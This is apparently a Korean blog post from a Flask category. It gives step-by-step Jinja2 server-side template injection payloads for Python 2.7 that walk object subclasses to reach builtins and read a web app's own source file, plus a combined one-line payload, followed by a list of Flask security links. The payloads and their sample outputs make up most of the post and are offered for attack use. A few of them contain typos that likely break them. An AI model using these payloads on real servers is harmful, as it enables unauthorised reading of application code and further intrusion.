python command injection 이 가능할때


<소스 파일를 가져올 수 있는 injection 코드>


{% for c in [].__class__.__base__.__subclasses__()%}{%if c.__name__=='XXXX'%}{{loop.index0}}{%endif%}{%endfor%}

-> 타겟 클래스의 index를 가져온다

결과값 : 101


{{[].__class__.__base__.subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].path.realpath(__file__)}}

타깃 파일 경로

결과값 : /data1/www/htdocs/222/aaa.py


{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dic__['__builtins__'].open("/data1/www/htdocs/222/aaa.py","r").read()}}

결과값 : 추출된 python소스코드


위 세번을 한꺼번에 하려면 아래와 같이 하면됨

 {%for c in [].__class__.__base__.__subclasses__()%}{%if c.__name__=='catch_warnings'%}{{c.__init__.func_globals['linecache'].__dict__['__builtins__'].open('aaa.py').read()}}{%endif%}{%endfor%}


(잘 알겠지만 파이써너 2.7 기준 3에서는 func_globals -> __globals__로 바뀌는 등 몇가지 바뀐다. 사실 python2기준으로 공격하면 됨)



' > flask' 카테고리의 다른 글

flask 취약점 관련 문서/블로그 모음!  (0) 2017.02.02

flask 공식 페이지

http://flask-docs-kr.readthedocs.io/


injecting flask, serverside -template-injection

https://nvisium.com/blog/2015/12/07/injecting-flask/#


flask 공식 security page(짧음 한페이지, 빨리 보고 치우자)

XSS, CSRF, JSON security

http://flask.pocoo.org/docs/0.12/security/


Serverside Template injection

http://blog.portswigger.net/2015/08/server-side-template-injection.html

' > flask' 카테고리의 다른 글

flask injection취약점 공격  (0) 2017.02.09

+ Recent posts